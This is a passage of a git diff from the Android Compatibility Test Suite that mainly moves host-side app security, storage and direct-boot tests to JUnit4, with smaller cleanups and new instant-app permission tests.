+        }
+        return stringIndex;
+    }
+
+    private static void drainAndClose(BufferedReader reader) {
+        try {
+            while (reader.read() >= 0) {
+                // do nothing.
+            }
+        } catch (IOException ignored) {
+        }
+        Closeables.closeQuietly(reader);
+    }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/ResultHandler.java b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
index 4aa6e05..bcec56a 100644
--- a/common/util/src/com/android/compatibility/common/util/ResultHandler.java
+++ b/common/util/src/com/android/compatibility/common/util/ResultHandler.java
@@ -25,7 +25,6 @@
 import org.xmlpull.v1.XmlSerializer;
 
 import java.io.File;
-import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.FileReader;
 import java.io.IOException;
@@ -43,6 +42,7 @@
 import java.util.List;
 import java.util.Map.Entry;
 import java.util.Set;
+
 import javax.xml.transform.Transformer;
 import javax.xml.transform.TransformerException;
 import javax.xml.transform.TransformerFactory;
@@ -114,17 +114,20 @@
     private static final String SUMMARY_TAG = "Summary";
     private static final String TEST_TAG = "Test";
 
+    private static final String LATEST_RESULT_DIR = "latest";
 
     /**
      * Returns IInvocationResults that can be queried for general reporting information, but that
      * do not store underlying module data. Useful for summarizing invocation history.
      * @param resultsDir
-     * @param useChecksum
      */
     public static List<IInvocationResult> getLightResults(File resultsDir) {
         List<IInvocationResult> results = new ArrayList<>();
         List<File> files = getResultDirectories(resultsDir);
         for (File resultDir : files) {
+            if (LATEST_RESULT_DIR.equals(resultDir.getName())) {
+                continue;
+            }
             IInvocationResult result = getResultFromDir(resultDir, false);
             if (result != null) {
                 results.add(new LightInvocationResult(result));
@@ -490,8 +493,7 @@
     /**
      * Find the IInvocationResult for the given sessionId.
      */
-    public static IInvocationResult findResult(File resultsDir, Integer sessionId)
-            throws FileNotFoundException {
+    public static IInvocationResult findResult(File resultsDir, Integer sessionId) {
         return findResult(resultsDir, sessionId, true);
     }
 
@@ -499,7 +501,7 @@
      * Find the IInvocationResult for the given sessionId.
      */
     private static IInvocationResult findResult(
-            File resultsDir, Integer sessionId, Boolean useChecksum) throws FileNotFoundException {
+            File resultsDir, Integer sessionId, Boolean useChecksum) {
         if (sessionId < 0) {
             throw new IllegalArgumentException(
                 String.format("Invalid session id [%d] ", sessionId));
@@ -531,7 +533,7 @@
     /**
      * Get a list of child directories that contain test invocation results
      * @param resultsDir the root test result directory
-     * @return
+     * @return the list of {@link File} results directory.
      */
     public static List<File> getResultDirectories(File resultsDir) {
         List<File> directoryList = new ArrayList<>();
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index d17828d..7c729ec 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -17,9 +17,13 @@
 # Goal is to eventually merge with error_prone_rules.mk
 LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
                           -Xep:CollectionIncompatibleType:ERROR \
+                          -Xep:EqualsIncompatibleType:ERROR \
                           -Xep:EqualsNaN:ERROR \
                           -Xep:FormatString:ERROR \
+                          -Xep:IdentityBinaryExpression:ERROR \
                           -Xep:JUnit3TestNotRun:ERROR \
+                          -Xep:JUnitAmbiguousTestClass:ERROR \
+                          -Xep:MissingFail:ERROR \
                           -Xep:SizeGreaterThanOrEqualsZero:ERROR \
                           -Xep:TryFailThrowable:ERROR
 
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
index a570232..6719923 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceFuncTest.java
@@ -57,16 +57,14 @@
      * Simple testcase to ensure that the grabbing a bugreport from a real TestDevice works.
      */
     public void testBugreport() throws Exception {
-        InputStreamSource bugreport = mTestDevice.getBugreport();
         InputStream bugreportData = null;
-        try {
+        try (InputStreamSource bugreport = mTestDevice.getBugreport()) {
             bugreportData = bugreport.createInputStream();
             String data = StreamUtil.getStringFromStream(bugreportData);
             assertTrue(String.format("Expected at least %d characters; only saw %d",
                     mMinBugreportBytes, data.length()), data.length() >= mMinBugreportBytes);
             // TODO: check the captured report more extensively, perhaps using loganalysis
         } finally {
-            StreamUtil.cancel(bugreport);
             StreamUtil.close(bugreportData);
         }
     }
@@ -366,10 +364,9 @@
         while (!passed) {
             // sleep a small amount of time to ensure last log message makes it into capture
             RunUtil.getDefault().sleep(10);
-            InputStreamSource source = getDevice().getLogcat(100 * 1024);
-            assertNotNull(source);
             File tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
-            try {
+            try (InputStreamSource source = getDevice().getLogcat(100 * 1024)) {
+                assertNotNull(source);
                 FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
                 CLog.i("Created file at %s", tmpTxtFile.getAbsolutePath());
                 // ensure last log message is present in log
@@ -379,7 +376,6 @@
                 }
             } finally {
                 FileUtil.deleteFile(tmpTxtFile);
-                source.cancel();
             }
             retry++;
             if ((retry > 100) && !passed) {
diff --git a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
index 3f2ffa8..75ffc85 100644
--- a/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
+++ b/hostsidetests/aadb/src/android/aadb/cts/TestDeviceStressTest.java
@@ -33,8 +33,8 @@
  */
 public class TestDeviceStressTest extends DeviceTestCase {
 
-    private static final int TEST_FILE_COUNT= 200;
-    private int mIterations = 25;
+    private static final int TEST_FILE_COUNT= 100;
+    private int mIterations = 20;
     private ITestDevice mTestDevice;
 
     @Override
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index afd7245..74cd71c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -23,13 +23,17 @@
 import static android.appsecurity.cts.SplitTests.CLASS;
 import static android.appsecurity.cts.SplitTests.PKG;
 
-import com.android.tradefed.build.IBuildInfo;
+import static org.junit.Assert.fail;
+
 import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Arrays;
 import java.util.concurrent.TimeUnit;
@@ -37,45 +41,31 @@
 /**
  * Set of tests that verify behavior of adopted storage media, if supported.
  */
-public class AdoptableHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
-    private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AdoptableHostTest extends BaseHostJUnit4Test {
 
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
+    @Before
+    public void setUp() throws Exception {
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        Utils.prepareSingleUser(getDevice());
-        assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
+        // Start all possible users to make sure their storage is unlocked
+        Utils.prepareMultipleUsers(getDevice(), Integer.MAX_VALUE);
 
         getDevice().uninstallPackage(PKG);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
+    @After
+    public void tearDown() throws Exception {
         getDevice().uninstallPackage(PKG);
     }
 
+    @Test
     public void testApps() throws Exception {
         if (!hasAdoptable()) return;
         final String diskId = getAdoptionDisk();
         try {
-            final String abi = mAbi.getName();
+            final String abi = getAbi().getName();
             final String apk = ABI_TO_APK.get(abi);
-            assertNotNull("Failed to find APK for ABI " + abi, apk);
+            Assert.assertNotNull("Failed to find APK for ABI " + abi, apk);
 
             // Install simple app on internal
             new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk).run();
@@ -119,6 +109,7 @@
         }
     }
 
+    @Test
     public void testPrimaryStorage() throws Exception {
         if (!hasAdoptable()) return;
         final String diskId = getAdoptionDisk();
@@ -218,6 +209,7 @@
      * Verify that we can install both new and inherited packages directly on
      * adopted volumes.
      */
+    @Test
     public void testPackageInstaller() throws Exception {
         if (!hasAdoptable()) return;
         final String diskId = getAdoptionDisk();
@@ -246,6 +238,7 @@
      * Verify behavior when changes occur while adopted device is ejected and
      * returned at a later time.
      */
+    @Test
     public void testEjected() throws Exception {
         if (!hasAdoptable()) return;
         final String diskId = getAdoptionDisk();
@@ -335,11 +328,6 @@
         getDevice().executeShellCommand("sm forget all");
     }
 
-    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
-            throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
-    }
-
     private static void assertSuccess(String str) {
         if (str == null || !str.startsWith("Success")) {
             throw new AssertionError("Expected success string but found " + str);
@@ -367,7 +355,7 @@
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
         public InstallMultiple() {
-            super(getDevice(), mCtsBuild, mAbi);
+            super(getDevice(), getBuild(), getAbi());
         }
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index 90b89af..797ffcb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -29,7 +29,6 @@
 import com.android.tradefed.targetprep.ITargetCleaner;
 import com.android.tradefed.targetprep.ITargetPreparer;
 import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.util.StreamUtil;
 
 /**
  * Creates secondary and tertiary users for use during a test suite.
@@ -56,11 +55,8 @@
                         "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
             }
         } catch (IllegalStateException e) {
-            InputStreamSource logcat = device.getLogcatDump();
-            try {
+            try (InputStreamSource logcat = device.getLogcatDump()) {
                 mLogger.testLog("AppSecurityPrep_failed_create_user", LogDataType.LOGCAT, logcat);
-            } finally {
-                StreamUtil.cancel(logcat);
             }
             throw new TargetSetupError("Failed to create user.", e, device.getDeviceDescriptor());
         }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 00bac12..085cc43 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -16,32 +16,30 @@
 
 package android.appsecurity.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.AbiUtils;
-import com.android.tradefed.util.RunUtil;
 
-import java.io.BufferedReader;
-import java.io.EOFException;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
 
 /**
  * Set of tests that verify various security checks involving multiple apps are
  * properly enforced.
  */
-public class AppSecurityTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AppSecurityTests extends BaseHostJUnit4Test {
 
     // testSharedUidDifferentCerts constants
     private static final String SHARED_UI_APK = "CtsSharedUidInstall.apk";
@@ -86,39 +84,22 @@
 
     private static final String LOG_TAG = "AppSecurityTests";
 
-    private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
     private File getTestAppFile(String fileName) throws FileNotFoundException {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         return buildHelper.getTestFile(fileName);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
-        assertNotNull(mCtsBuild);
+        assertNotNull(getBuild());
     }
 
     /**
      * Test that an app that declares the same shared uid as an existing app, cannot be installed
      * if it is signed with a different certificate.
      */
+    @Test
     public void testSharedUidDifferentCerts() throws Exception {
         Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
         try {
@@ -126,7 +107,7 @@
             getDevice().uninstallPackage(SHARED_UI_PKG);
             getDevice().uninstallPackage(SHARED_UI_DIFF_CERT_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             String installResult = getDevice().installPackage(getTestAppFile(SHARED_UI_APK),
                     false, options);
             assertNull(String.format("failed to install shared uid app, Reason: %s", installResult),
@@ -147,13 +128,14 @@
      * Test that an app update cannot be installed over an existing app if it has a different
      * certificate.
      */
+    @Test
     public void testAppUpgradeDifferentCerts() throws Exception {
         Log.i(LOG_TAG, "installing app upgrade with different certs");
         try {
             // cleanup test app that might be installed from previous partial test run
             getDevice().uninstallPackage(SIMPLE_APP_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             String installResult = getDevice().installPackage(getTestAppFile(SIMPLE_APP_APK),
                     false, options);
             assertNull(String.format("failed to install simple app. Reason: %s", installResult),
@@ -172,6 +154,7 @@
     /**
      * Test that an app cannot access another app's private data.
      */
+    @Test
     public void testAppFailAccessPrivateData() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to access another app's private data");
         try {
@@ -179,7 +162,7 @@
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
             getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
                     false, options);
             assertNull(String.format("failed to install app with data. Reason: %s", installResult),
@@ -202,13 +185,14 @@
     /**
      * Test that uninstall of an app removes its private data.
      */
+    @Test
     public void testUninstallRemovesData() throws Exception {
         Log.i(LOG_TAG, "Uninstalling app, verifying data is removed.");
         try {
             // cleanup test app that might be installed from previous partial test run
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             String installResult = getDevice().installPackage(getTestAppFile(APP_WITH_DATA_APK),
                     false, options);
             assertNull(String.format("failed to install app with data. Reason: %s", installResult),
@@ -233,6 +217,7 @@
     /**
      * Test that an app cannot instrument another app that is signed with different certificate.
      */
+    @Test
     public void testInstrumentationDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to instrument another app");
         try {
@@ -240,7 +225,7 @@
             getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
             getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             String installResult = getDevice().installPackage(
                     getTestAppFile(TARGET_INSTRUMENT_APK), false, options);
             assertNull(String.format("failed to install target instrumentation app. Reason: %s",
@@ -266,6 +251,7 @@
      * Test that an app cannot use a signature-enforced permission if it is signed with a different
      * certificate than the app that declared the permission.
      */
+    @Test
     public void testPermissionDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
@@ -274,7 +260,7 @@
             getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
             getDevice().uninstallPackage(PERMISSION_DIFF_CERT_PKG);
 
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             String installResult = getDevice().installPackage(
                     getTestAppFile(DECLARE_PERMISSION_APK), false, options);
             assertNull(String.format("failed to install declare permission app. Reason: %s",
@@ -302,6 +288,7 @@
     /**
      * Tests that an arbitrary file cannot be installed using the 'cmd' command.
      */
+    @Test
     public void testAdbInstallFile() throws Exception {
         String output = getDevice().executeShellCommand(
                 "cmd package install -S 1024 /data/local/tmp/foo.apk");
@@ -309,11 +296,6 @@
     }
 
     private void runDeviceTests(String packageName) throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName);
-    }
-
-    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
-            throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+        runDeviceTests(packageName, null);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index 920e0a5..26065ca 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -17,18 +17,18 @@
 package android.appsecurity.cts;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Before;
 
 import java.util.ArrayList;
 
 /**
  * Base class.
  */
-public class BaseAppSecurityTest extends DeviceTestCase implements IBuildReceiver {
-    protected IBuildInfo mBuildInfo;
+public class BaseAppSecurityTest extends BaseHostJUnit4Test {
 
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
@@ -37,15 +37,9 @@
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildInfo = buildInfo;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        assertNotNull(mBuildInfo); // ensure build has been set before test is run.
+    @Before
+    public void setUp() throws Exception {
+        Assert.assertNotNull(getBuild()); // ensure build has been set before test is run.
 
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
         mIsSplitSystemUser = checkIfSplitSystemUser();
@@ -70,8 +64,8 @@
         if (userId < 0) {
             userId = mPrimaryUserId;
         }
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
-        assertNull(getDevice().installPackageForUser(
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        Assert.assertNull(getDevice().installPackageForUser(
                 buildHelper.getTestFile(apk), true, false, userId, "-t"));
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index e291771..f4f6d9e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -15,11 +15,17 @@
  */
 package android.appsecurity.cts;
 
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-public class ClassloaderSplitsTest extends DeviceTestCase implements IBuildReceiver {
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ClassloaderSplitsTest extends BaseHostJUnit4Test implements IBuildReceiver {
     private static final String PKG = "com.android.cts.classloadersplitapp";
     private static final String TEST_CLASS = PKG + ".SplitAppTest";
 
@@ -39,54 +45,48 @@
     private static final String APK_FEATURE_A = "CtsClassloaderSplitAppFeatureA.apk";
     private static final String APK_FEATURE_B = "CtsClassloaderSplitAppFeatureB.apk";
 
-    private IBuildInfo mBuildInfo;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         Utils.prepareSingleUser(getDevice());
         getDevice().uninstallPackage(PKG);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    @After
+    public void tearDown() throws Exception {
         getDevice().uninstallPackage(PKG);
     }
 
+    @Test
     public void testBaseClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
     }
 
+    @Test
     public void testFeatureAClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
     }
 
+    @Test
     public void testFeatureBClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
     }
 
+    @Test
     public void testReceiverClassLoaders() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
-        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mBuildInfo = buildInfo;
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
         public InstallMultiple() {
-            super(getDevice(), mBuildInfo, null);
+            super(getDevice(), getBuild(), null);
         }
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 2174fa0..983ab57 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -16,15 +16,20 @@
 
 package android.appsecurity.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import com.android.ddmlib.AdbCommandRejectedException;
 import com.android.ddmlib.CollectingOutputReceiver;
 import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Set of tests that verify behavior of direct boot, if supported.
@@ -32,7 +37,8 @@
  * Note that these tests drive PIN setup manually instead of relying on device
  * administrators, which are not supported by all devices.
  */
-public class DirectBootHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class DirectBootHostTest extends BaseHostJUnit4Test {
     private static final String TAG = "DirectBootHostTest";
 
     private static final String PKG = "com.android.cts.encryptionapp";
@@ -55,35 +61,19 @@
     private String mFeatureList = null;
 
     private int[] mUsers;
-    private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
 
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         mUsers = Utils.prepareSingleUser(getDevice());
-        assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
+        assertNotNull(getAbi());
+        assertNotNull(getBuild());
 
         getDevice().uninstallPackage(PKG);
         getDevice().uninstallPackage(OTHER_PKG);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
+    @After
+    public void tearDown() throws Exception {
         getDevice().uninstallPackage(PKG);
         getDevice().uninstallPackage(OTHER_PKG);
     }
@@ -91,6 +81,7 @@
     /**
      * Automotive devices MUST support native FBE.
      */
+    @Test
     public void testAutomotiveNativeFbe() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -107,6 +98,7 @@
     /**
      * If device has native FBE, verify lifecycle.
      */
+    @Test
     public void testDirectBootNative() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -122,6 +114,7 @@
     /**
      * If device doesn't have native FBE, enable emulation and verify lifecycle.
      */
+    @Test
     public void testDirectBootEmulated() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -137,6 +130,7 @@
     /**
      * If device doesn't have native FBE, verify normal lifecycle.
      */
+    @Test
     public void testDirectBootNone() throws Exception {
         if (!isSupportedDevice()) {
             Log.v(TAG, "Device not supported; skipping test");
@@ -213,7 +207,7 @@
             int... users) throws DeviceNotAvailableException {
         for (int user : users) {
             Log.d(TAG, "runDeviceTests " + testMethodName + " u" + user);
-            Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user);
+            runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user, null);
         }
     }
 
@@ -269,7 +263,7 @@
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
         public InstallMultiple() {
-            super(getDevice(), mCtsBuild, mAbi);
+            super(getDevice(), getBuild(), getAbi());
         }
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index fdd2f06..5564125 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -219,6 +219,49 @@
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
     }
 
+    /** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
+    public void testStartForegrondService() throws Exception {
+        // Make sure the test package does not have INSTANT_APP_FOREGROUND_SERVICE
+        getDevice().executeShellCommand("cmd package revoke " + EPHEMERAL_1_PKG
+                        + " android.permission.INSTANT_APP_FOREGROUND_SERVICE");
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testStartForegroundService");
+    }
+
+    /** Test for android.permission.RECORD_AUDIO */
+    public void testRecordAudioPermission() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testRecordAudioPermission");
+    }
+
+    /** Test for android.permission.CAMERA */
+    public void testCameraPermission() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testCameraPermission");
+    }
+
+    /** Test for android.permission.READ_PHONE_NUMBERS */
+    public void testReadPhoneNumbersPermission() throws Exception {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testReadPhoneNumbersPermission");
+    }
+
+    /** Test for android.permission.ACCESS_COARSE_LOCATION */
+    public void testAccessCoarseLocationPermission() throws Throwable {
